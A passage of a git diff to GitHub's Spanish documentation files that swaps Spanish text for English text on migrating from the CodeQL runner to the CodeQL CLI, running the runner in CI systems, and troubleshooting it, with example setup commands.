repository](https://github.com/github/codeql-action/releases). This bundle contains the {% data variables.product.prodname_codeql_cli %} and the standard {% data variables.product.prodname_codeql %} queries and libraries. -## Resumen de los cambios en los flujos de trabajo +For more information on setting up the {% data variables.product.prodname_codeql_cli %}, see "[Installing {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/installing-codeql-cli-in-your-ci-system)." -Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_runner %} para analizar una base de código tiene los siguientes pasos. -- `codeql-runner- init` para empezar a crear bases de datos de {% data variables.product.prodname_codeql %} y leer la configuración. -- Para lenguajes compilados: establece las variables de entorno generadas por el paso `init`. -- Para los lenguajes compilados: ejecuta la autocompilación o los pasos de compilación manual. -- `codeql-runner- analyze` para terminar de crear bases de datos de {% data variables.product.prodname_codeql %}, ejecuta consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %}, resume los resultados en un archivo SARIF y cárgalos en {% data variables.product.prodname_dotcom %}. +## Overview of workflow changes -Un flujo de trabajo habitual utiliza el {% data variables.product.prodname_codeql_cli %} para analizar una base de código tiene los siguientes pasos. -- `codeql database create` para crear bases de datos de {% data variables.product.prodname_codeql %}. - - Para los lenguajes compilados: Proporciona un comando de compilación opcionalmente. -- `codeql database analyze` para ejecutar consultas para analizar cada base de datos de {% data variables.product.prodname_codeql %} y resumir los resultados en un archivo SARIF. Este comando debe ejecutarse una vez para cada lenguaje o base de datos. -- `codeql github upload-results` para cargar los archivos SARIF resultantes en {% data variables.product.prodname_dotcom %}, que se mostrarán como alertas de examen de código. Este comando debe ejecutarse una vez para cada archivo SARIF o lenguaje. +A typical workflow that uses the {% data variables.code-scanning.codeql_runner %} to analyze a codebase has the following steps. +- `codeql-runner- init` to start creating {% data variables.product.prodname_codeql %} databases and read the configuration. +- For compiled languages: set environment variables produced by the `init` step. +- For compiled languages: run autobuild or manual build steps. +- `codeql-runner- analyze` to finish creating {% data variables.product.prodname_codeql %} databases, run queries to analyze each {% data variables.product.prodname_codeql %} database, summarize the results in a SARIF file, and upload the results to {% data variables.product.prodname_dotcom %}. -El {% data variables.product.prodname_codeql_runner %} tiene capacidades de subprocesamiento múltiple predeterminadamente. El {% data variables.product.prodname_codeql_cli %} solo utiliza un subproceso predeterminadamente, pero te permite especificar la cantidad de subprocesos que quieres utilizar. Si quieres replicar el comportamiento de {% data variables.product.prodname_codeql_runner %} para usar todos los subprocesos disponibles en la máquina al utilizar {% data variables.product.prodname_codeql_cli %}, puedes pasar `--threads 0` a `codeql database analyze`. +A typical workflow that uses the {% data variables.product.prodname_codeql_cli %} to analyze a codebase has the following steps. +- `codeql database create` to create {% data variables.product.prodname_codeql %} databases. + - For compiled languages: Optionally provide a build command. +- `codeql database analyze` to run queries to analyze each {% data variables.product.prodname_codeql %} database and summarize the results in a SARIF file. This command must be run once for each language or database. +- `codeql github upload-results` to upload the resulting SARIF files to {% data variables.product.prodname_dotcom %}, to be displayed as code scanning alerts. This command must be run once for each language or SARIF file. -Para más información, consulta "[Configuración de {% data variables.product.prodname_codeql_cli %} en el sistema de CI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)". +The {% data variables.code-scanning.codeql_runner %} is multithreaded by default. The {% data variables.product.prodname_codeql_cli %} only uses a single thread by default, but allows you to specify the amount of threads you want it to use. If you want to replicate the behavior of the {% data variables.code-scanning.codeql_runner %} to use all threads available on the machine when using the {% data variables.product.prodname_codeql_cli %}, you can pass `--threads 0` to `codeql database analyze`. -## Ejemplos de usos comunes para el {% data variables.product.prodname_codeql_cli %} +For more information, see "[Configuring {% data variables.product.prodname_codeql_cli %} in your CI system](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-cli-in-your-ci-system)." -### Acerca de los ejemplos +## Examples of common uses for the {% data variables.product.prodname_codeql_cli %} -Estos ejemplos asumen que el código fuente se verificó en el directorio de trabajo actual. Si usas un directorio diferente, cambia el argumento `--source-root` y los pasos de compilación en consecuencia. +### About the examples -Estos ejemplos también asumen que el {% data variables.product.prodname_codeql_cli %} se coloca en la RUTA correcta. +These examples assume that the source code has been checked out to the current working directory. If you use a different directory, change the `--source-root` argument and the build steps accordingly. -En estos ejemplos, un token de {% data variables.product.prodname_dotcom %} con ámbitos adecuados se almacena en la variable de entorno `$TOKEN` y se pasa a los comandos de ejemplo a través de `stdin` o se almacena en la variable de entorno `$GITHUB_TOKEN`. +These examples also assume that the {% data variables.product.prodname_codeql_cli %} is placed on the current PATH. -El nombre de ref y el SHA de confirmación que se verifican y analizan en estos ejemplos se conocen durante el flujo de trabajo. Para una rama, usa `refs/heads/BRANCH-NAME` como referencia. Para la confirmación principal de una solicitud de incorporación de cambios, usa `refs/pull/NUMBER/head`. Para una confirmación de combinación generada por {% data variables.product.prodname_dotcom %}, usa `refs/pull/NUMBER/merge`. En los ejemplos siguientes se usa `refs/heads/main`. Si utilizas un nombre de rama diferente, debes modificar el código de muestra. +In these examples, a {% data variables.product.prodname_dotcom %} token with suitable scopes is stored in the `$TOKEN` environment variable and passed to the example commands via `stdin`, or is stored in the `$GITHUB_TOKEN` environment variable. -### Lenguaje sencillo no compilado (JavaScript) +The ref name and commit SHA being checked out and analyzed in these examples are known during the workflow. For a branch, use `refs/heads/BRANCH-NAME` as the ref. For the head commit of a pull request, use `refs/pull/NUMBER/head`. For a {% data variables.product.prodname_dotcom %}-generated merge commit of a pull request, use `refs/pull/NUMBER/merge`. The examples below all use `refs/heads/main`. If you use a different branch name, you must modify the sample code. -Ejecutor: +### Single non-compiled language (JavaScript) + +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages javascript \ @@ -87,11 +82,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ --sarif=/temp/example-repo-js.sarif --github-auth-stdin ``` -### Lenguaje sencillo no compilado (JavaScript) utilizando una suite de consultas (security-and-quality) +### Single non-compiled language (JavaScript) using a different query suite (security-and-quality) -Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples. +A similar approach can be taken for compiled languages, or multiple languages. -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages javascript \ @@ -117,11 +112,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ --sarif=/temp/example-repo-js.sarif --github-auth-stdin ``` -### Lenguaje sencillo no compilado (JavaScript) utilizando un archivo de configuración personalizado +### Single non-compiled language (JavaScript) using a custom configuration file -Se puede tomar un enfoque similar para los lenguajes compilados o los lenguajes múltiples. +A similar approach can be taken for compiled languages, or multiple languages. -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages javascript \ @@ -148,9 +143,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ --sarif=/temp/example-repo-js.sarif --github-auth-stdin ``` -### Lenguaje sencillo no compilado utilizando compilación automática (Java) +### Single compiled language using autobuild (Java) -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages java \ @@ -182,9 +177,9 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ --sarif=/temp/example-repo-java.sarif --github-auth-stdin ``` -### Lenguaje sencillo no copilado utilizando un comando de compilación personalizado (Java) +### Single compiled language using a custom build command (Java) -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages java \ @@ -215,11 +210,11 @@ echo "$TOKEN" | codeql github upload-results --repository=my-org/example-repo \ --sarif=/temp/example-repo-java.sarif --github-auth-stdin ``` -### Lenguaje sencillo no compilado utilizando rastreo de compilación indirecto (C# sobre Windows dentro de Azure DevOps) +### Single compiled language using indirect build tracing (C# on Windows within Azure DevOps) -El seguimiento indirecto de la compilación de un lenguaje compilado permite que {% data variables.product.prodname_codeql %} detecte todos los pasos de compilación entre los pasos `init` y `analyze`, cuando el código no se puede compilar mediante el compilador automático o una línea de comandos de compilación explícita. Esta opción resulta útil cuando se usan pasos de compilación preconfigurados desde el sistema de CI, como las tareas `VSBuild` y `MSBuild` en Azure DevOps. +Indirect build tracing for a compiled language enables {% data variables.product.prodname_codeql %} to detect all build steps between the `init` and `analyze` steps, when the code cannot be built using the autobuilder or an explicit build command line. This is useful when using preconfigured build steps from your CI system, such as the `VSBuild` and `MSBuild` tasks in Azure DevOps. -Ejecutor: +Runner: ```yaml - task: CmdLine@1 displayName: CodeQL Initialization @@ -337,12 +332,12 @@ CLI: ``` -### Lenguajes múltiples utilizando compilación automática (C++, Python) +### Multiple languages using autobuild (C++, Python) -Este ejemplo no es estrictamente posible dentro del {% data variables.product.prodname_codeql_runner %}. -Solo se analizará un lenguaje (el lenguaje compilado que tenga la mayoría de los archivos). +This example is not strictly possible with the {% data variables.code-scanning.codeql_runner %}. +Only one language (the compiled language with the most files) will be analyzed. -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages cpp,python \ @@ -380,9 +375,9 @@ for language in cpp python; do done ``` -### Lenguajes múltiples utilizando un comando de compilación personalizado (C++, Python) +### Multiple languages using a custom build command (C++, Python) -Ejecutor: +Runner: ```bash echo "$TOKEN" | codeql-runner-linux init --repository my-org/example-repo \ --languages cpp,python \ diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md index a2056c24bf..24b916c11a 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/running-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- title: Running CodeQL runner in your CI system shortTitle: Run CodeQL runner -intro: 'You can use the {% data variables.product.prodname_codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' +intro: 'You can use the {% data variables.code-scanning.codeql_runner %} to perform {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in a third-party continuous integration system.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/running-code-scanning-in-your-ci-system @@ -34,33 +34,33 @@ topics: {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.enterprise-enable-code-scanning %} -## About the {% data variables.product.prodname_codeql_runner %} +## About the {% data variables.code-scanning.codeql_runner %} -The {% data variables.product.prodname_codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." +The {% data variables.code-scanning.codeql_runner %} is a tool you can use to run {% data variables.product.prodname_code_scanning %} on code that you're processing in a third-party continuous integration (CI) system. {% data reusables.code-scanning.about-code-scanning %} For information, see "[About {% data variables.product.prodname_code_scanning %} with {% data variables.product.prodname_codeql %}](/code-security/secure-coding/automatically-scanning-your-code-for-vulnerabilities-and-errors/about-code-scanning-with-codeql)." In many cases it is easier to set up {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} using the {% data variables.product.prodname_codeql_cli %} directly in your CI system. Alternatively, you can use {% data variables.product.prodname_actions %} to run {% data variables.product.prodname_code_scanning %} within {% data variables.product.product_name %}. For information, see "[Setting up {% data variables.product.prodname_code_scanning %} for a repository](/code-security/secure-coding/setting-up-code-scanning-for-a-repository)." -The {% data variables.product.prodname_codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository. +The {% data variables.code-scanning.codeql_runner %} is a command-line tool that runs {% data variables.product.prodname_codeql %} analysis on a checkout of a {% data variables.product.prodname_dotcom %} repository. You add the runner to your third-party system, then call the runner to analyze code and upload the results to {% data variables.product.product_name %}. These results are displayed as {% data variables.product.prodname_code_scanning %} alerts in the repository. {% note %} **Note:** {% ifversion fpt or ghec %} -* The {% data variables.product.prodname_codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." +* The {% data variables.code-scanning.codeql_runner %} uses the {% data variables.product.prodname_codeql %} CLI to analyze code and therefore has the same license conditions. It's free to use on public repositories that are maintained on {% data variables.product.prodname_dotcom_the_website %}, and available to use on private repositories that are owned by customers with an {% data variables.product.prodname_advanced_security %} license. For information, see "[{% data variables.product.product_name %} {% data variables.product.prodname_codeql %} Terms and Conditions](https://securitylab.github.com/tools/codeql/license)" and "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." {% else %} -* The {% data variables.product.prodname_codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. +* The {% data variables.code-scanning.codeql_runner %} is available to customers with an {% data variables.product.prodname_advanced_security %} license. {% endif %} {% ifversion ghae %} -* The {% data variables.product.prodname_codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries. +* The {% data variables.code-scanning.codeql_runner %} shouldn't be confused with the {% data variables.product.prodname_codeql %} CLI. The {% data variables.product.prodname_codeql %} CLI is a command-line interface that lets you create {% data variables.product.prodname_codeql %} databases for security research and run {% data variables.product.prodname_codeql %} queries. For more information, see "[{% data variables.product.prodname_codeql_cli %}](https://codeql.github.com/docs/codeql-cli/)." {% endif %} {% endnote %} -## Downloading the {% data variables.product.prodname_codeql_runner %} +## Downloading the {% data variables.code-scanning.codeql_runner %} -You can download the {% data variables.product.prodname_codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it. +You can download the {% data variables.code-scanning.codeql_runner %} from https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases. On some operating systems, you may need to change permissions for the downloaded file before you can run it. On Linux: @@ -77,9 +77,9 @@ sudo xattr -d com.apple.quarantine codeql-runner-macos On Windows, the `codeql-runner-win.exe` file usually requires no change to permissions. -## Adding the {% data variables.product.prodname_codeql_runner %} to your CI system +## Adding the {% data variables.code-scanning.codeql_runner %} to your CI system -Once you download the {% data variables.product.prodname_codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: +Once you download the {% data variables.code-scanning.codeql_runner %} and verify that it can be executed, you should make the runner available to each CI server that you intend to use for {% data variables.product.prodname_code_scanning %}. For example, you might configure each server to copy the runner from a central, internal location. Alternatively, you could use the REST API to get the runner directly from {% data variables.product.prodname_dotcom %}, for example: ```shell wget https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action/releases/latest/download/codeql-runner-linux @@ -88,24 +88,24 @@ chmod +x codeql-runner-linux In addition to this, each CI server also needs: -- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.product.prodname_codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." -- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.product.prodname_codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." +- A {% data variables.product.prodname_github_app %} or {% data variables.product.pat_generic %} for the {% data variables.code-scanning.codeql_runner %} to use. You must use an access token with the `repo` scope, or a {% data variables.product.prodname_github_app %} with the `security_events` write permission, and `metadata` and `contents` read permissions. For information, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" and "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." +- Access to the {% data variables.product.prodname_codeql %} bundle associated with this release of the {% data variables.code-scanning.codeql_runner %}. This package contains queries and libraries needed for {% data variables.product.prodname_codeql %} analysis, plus the {% data variables.product.prodname_codeql %} CLI, which is used internally by the runner. For information, see "[{% data variables.product.prodname_codeql %} CLI](https://codeql.github.com/docs/codeql-cli/)." The options for providing access to the {% data variables.product.prodname_codeql %} bundle are: -1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.product.prodname_codeql_runner %} can download the bundle automatically. -1. Manually download/extract the bundle, store it with other central resources, and use the `--codeql-path` flag to specify the location of the bundle in calls to initialize the {% data variables.product.prodname_codeql_runner %}. +1. Allow the CI servers access to https://{% ifversion fpt or ghec %}github.com{% else %}HOSTNAME{% endif %}/github/codeql-action so that the {% data variables.code-scanning.codeql_runner %} can download the bundle automatically. +1. Manually download/extract the bundle, store it with other central resources, and use the `--codeql-path` flag to specify the location of the bundle in calls to initialize the {% data variables.code-scanning.codeql_runner %}. -## Calling the {% data variables.product.prodname_codeql_runner %} +## Calling the {% data variables.code-scanning.codeql_runner %} -You should call the {% data variables.product.prodname_codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: +You should call the {% data variables.code-scanning.codeql_runner %} from the checkout location of the repository you want to analyze. The two main commands are: 1. `init` required to initialize the runner and create a {% data variables.product.prodname_codeql %} database for each language to be analyzed. These databases are populated and analyzed by subsequent commands. 1. `analyze` required to populate the {% data variables.product.prodname_codeql %} databases, analyze them, and upload results to {% data variables.product.product_name %}. For both commands, you must specify the URL of {% data variables.product.product_name %}, the repository *OWNER/NAME*, and the {% data variables.product.prodname_github_apps %} or {% data variables.product.pat_generic %} to use for authentication. You also need to specify the location of the CodeQL bundle, unless the CI server has access to download it directly from the `github/codeql-action` repository. -You can configure where the {% data variables.product.prodname_codeql_runner %} stores the CodeQL bundle for future analysis on a server using the `--tools-dir` flag and where it stores temporary files during analysis using `--temp-dir`. +You can configure where the {% data variables.code-scanning.codeql_runner %} stores the CodeQL bundle for future analysis on a server using the `--tools-dir` flag and where it stores temporary files during analysis using `--temp-dir`. To view the command-line reference for the runner, use the `-h` flag. For example, to list all commands run: `codeql-runner-OS -h`, or to list all the flags available for the `init` command run: `codeql-runner-OS init -h` (where `OS` varies according to the executable that you are using). For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system#codeql-runner-command-reference)." @@ -119,7 +119,7 @@ In this example, the server has access to download the {% data variables.product 1. Check out the repository to analyze. 1. Move into the directory where the repository is checked out. -1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. +1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. ```shell $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo @@ -137,7 +137,7 @@ This example is similar to the previous example, however this time the repositor 1. Check out the repository to analyze. 1. Move into the directory where the repository is checked out. -1. Initialize the {% data variables.product.prodname_codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. +1. Initialize the {% data variables.code-scanning.codeql_runner %} and create {% data variables.product.prodname_codeql %} databases for the languages detected. ```shell $ echo "$TOKEN" | /path/to-runner/codeql-runner-linux init --repository octo-org/example-repo-2 --github-url {% data variables.command_line.git_url_example %} --github-auth-stdin @@ -154,26 +154,26 @@ This example is similar to the previous example, however this time the repositor $ . /srv/checkout/example-repo-2/codeql-runner/codeql-env.sh ``` -1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)." +1. Build the code. On macOS, you need to prefix the build command with the environment variable `$CODEQL_RUNNER`. For more information, see "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system#no-code-found-during-the-build)." {% data reusables.code-scanning.codeql-runner-analyze-example %} {% note %} -**Note:** If you use a containerized build, you need to run the {% data variables.product.prodname_codeql_runner %} in the container where your build task takes place. +**Note:** If you use a containerized build, you need to run the {% data variables.code-scanning.codeql_runner %} in the container where your build task takes place. {% endnote %} ## Further reading -- "[Configuring {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" -- "[Troubleshooting {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" +- "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)" +- "[Troubleshooting {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/troubleshooting-codeql-runner-in-your-ci-system)" {% else %} -## About the {% data variables.product.prodname_codeql_runner %} +## About the {% data variables.code-scanning.codeql_runner %} -The {% data variables.product.prodname_codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity. +The {% data variables.code-scanning.codeql_runner %} has been deprecated. [{% data variables.product.prodname_codeql_cli %}](https://github.com/github/codeql-cli-binaries/releases) version 2.7.6 has complete feature parity. For information on migrating to {% data variables.product.prodname_codeql_cli %}, see "[Migrating from the CodeQL runner to CodeQL CLI](/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/migrating-from-the-codeql-runner-to-codeql-cli)." diff --git a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md index 90ad756ca0..02cc0d97c9 100644 --- a/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md +++ b/translations/es-ES/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/troubleshooting-codeql-runner-in-your-ci-system.md @@ -1,7 +1,7 @@ --- -title: Solucionar problemas del ejecutor de CodeQL en tu sistema de IC +title: Troubleshooting CodeQL runner in your CI system shortTitle: Troubleshoot CodeQL runner -intro: 'Si estás teniendo problemas con el {% data variables.product.prodname_codeql_runner %}, puedes solucionarlos si utilizas estos tips.' +intro: 'If you''re having problems with the {% data variables.code-scanning.codeql_runner %}, you can troubleshoot by using these tips.' product: '{% data reusables.gated-features.code-scanning %}' redirect_from: - /github/finding-security-vulnerabilities-and-errors-in-your-code/troubleshooting-code-scanning-in-your-ci-system @@ -19,53 +19,51 @@ topics: - Troubleshooting - Integration - CI -ms.openlocfilehash: bd641d59d56a0d0b6ce518d3d2ef41494413b8df -ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/05/2022 -ms.locfileid: '145116057' --- -{% data reusables.code-scanning.deprecation-codeql-runner %} {% data reusables.code-scanning.beta %} {% data reusables.code-scanning.not-available %} -## El comando `init` tarda demasiado -Antes de que el {% data variables.product.prodname_codeql_runner %} pueda compilar y analizar código, necesita tener acceso al paquete de {% data variables.product.prodname_codeql %}, el cual contiene la CLI de {% data variables.product.prodname_codeql %} y las bibliotecas de {% data variables.product.prodname_codeql %}. +{% data reusables.code-scanning.deprecation-codeql-runner %} +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.not-available %} -Al usar {% data variables.product.prodname_codeql_runner %} por primera vez en la máquina, el comando `init` descarga el paquete {% data variables.product.prodname_codeql %}. Esta descarga puede demorar algunos minutos. -El paquete de {% data variables.product.prodname_codeql %} se guarda en el caché entre las ejecuciones, así que si utilizas el {% data variables.product.prodname_codeql_runner %} nuevamente en la misma máquina, no descargará el paquete de {% data variables.product.prodname_codeql %} nuevamente. +## The `init` command takes too long -Para evitar esta descarga automática, puede descargar manualmente el paquete {% data variables.product.prodname_codeql %} en la máquina y especificar la ruta mediante la marca `--codeql-path` del comando `init`. +Before the {% data variables.code-scanning.codeql_runner %} can build and analyze code, it needs access to the {% data variables.product.prodname_codeql %} bundle, which contains the {% data variables.product.prodname_codeql %} CLI and the {% data variables.product.prodname_codeql %} libraries. -## No se encontró código durante la compilación +When you use the {% data variables.code-scanning.codeql_runner %} for the first time on your machine, the `init` command downloads the {% data variables.product.prodname_codeql %} bundle to your machine. This download can take a few minutes. +The {% data variables.product.prodname_codeql %} bundle is cached between runs, so if you use the {% data variables.code-scanning.codeql_runner %} again on the same machine, it won't download the {% data variables.product.prodname_codeql %} bundle again. -Si se produce un error `No source code was seen during the build` en el comando `analyze` para {% data variables.product.prodname_codeql_runner %}, esto indica que {% data variables.product.prodname_codeql %} no ha podido supervisar el código. Hay muchas razones que podrían explicar esta error. +To avoid this automatic download, you can manually download the {% data variables.product.prodname_codeql %} bundle to your machine and specify the path using the `--codeql-path` flag of the `init` command. -1. La detección automática del lenguaje identificó un lenguaje compatible, pero no hay código analizable en dicho lenguaje dentro del repositorio. Un ejemplo típico es cuando nuestro servicio de detección de lenguaje encuentra un archivo asociado a un lenguaje de programación específico, como un archivo `.h` o `.gyp`, pero en el repositorio no existe el código ejecutable correspondiente. Para solucionar el problema, puede definir manualmente los lenguajes que quiere analizar mediante la marca `--languages` del comando `init`. Para más información, vea "[Configuración de {% data variables.product.prodname_codeql_runner %} en el sistema de CI](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)". +## No code found during the build -1. Va a analizar un lenguaje compilado sin usar el comando `autobuild` y ejecuta los pasos de compilación después del paso `init`. Para que funcione la compilación, debes configurar el ambiente para que el {% data variables.product.prodname_codeql_runner %} pueda monitorear el proceso de compilación. El comando `init` genera instrucciones sobre cómo exportar las variables de entorno necesarias, por lo que puedes copiar y ejecutar el script después de ejecutar el comando `init`. - - En macOS y Linux: +If the `analyze` command for the {% data variables.code-scanning.codeql_runner %} fails with an error `No source code was seen during the build`, this indicates that {% data variables.product.prodname_codeql %} was unable to monitor your code. Several reasons can explain such a failure. + +1. Automatic language detection identified a supported language, but there is no analyzable code of that language in the repository. A typical example is when our language detection service finds a file associated with a particular programming language like a `.h`, or `.gyp` file, but no corresponding executable code is present in the repository. To solve the problem, you can manually define the languages you want to analyze by using the `--languages` flag of the `init` command. For more information, see "[Configuring {% data variables.code-scanning.codeql_runner %} in your CI system](/code-security/secure-coding/configuring-codeql-runner-in-your-ci-system)." + +1. You're analyzing a compiled language without using the `autobuild` command and you run the build steps yourself after the `init` step. For the build to work, you must set up the environment such that the {% data variables.code-scanning.codeql_runner %} can monitor the build process. The `init` command generates instructions for how to export the required environment variables, so you can copy and run the script after you've run the `init` command. + - On macOS and Linux: ```shell $ . codeql-runner/codeql-env.sh ``` - - En Windows, mediante el shell de comandos (`cmd`) o un archivo por lotes (`.bat`): + - On Windows, using the Command shell (`cmd`) or a batch file (`.bat`): ```shell > call codeql-runner\codeql-env.bat ``` - - En Windows, utilizando PowerShell: + - On Windows, using PowerShell: ```shell > cat codeql-runner\codeql-env.sh | Invoke-Expression ``` - Las variables de entorno también se almacenan en el archivo `codeql-runner/codeql-env.json`. Este archivo contiene solo un objeto de JSON que mapea las claves de variable de ambiente a valores. Si no puede ejecutar el script que ha generado el comando `init`, en su lugar puede usar los datos en formato JSON. + The environment variables are also stored in the file `codeql-runner/codeql-env.json`. This file contains a single JSON object which maps environment variable keys to values. If you can't run the script generated by the `init` command, then you can use the data in JSON format instead. {% note %} - **Nota:** Si ha usado la marca `--temp-dir` del comando `init` a fin de especificar un directorio personalizado para los archivos temporales, la ruta a los archivos `codeql-env` podría ser diferente. + **Note:** If you used the `--temp-dir` flag of the `init` command to specify a custom directory for temporary files, the path to the `codeql-env` files might be different. {% endnote %} -1. Va a analizar un lenguaje compilado en macOS sin usar el comando `autobuild` y ejecuta los pasos de compilación después del paso `init`. Si está habilitada la SIP (Protección Integral del Sistema, por sus siglas en inglés), que es lo predeterminado en las versiones más recientes de OSX, el análisis podría fallar. Para corregirlo, use la variable de entorno `$CODEQL_RUNNER` como prefijo del comando de compilación. - Por ejemplo, si el comando de compilación es `cmd arg1 arg2`, debe ejecutar `$CODEQL_RUNNER cmd arg1 arg2`. +1. 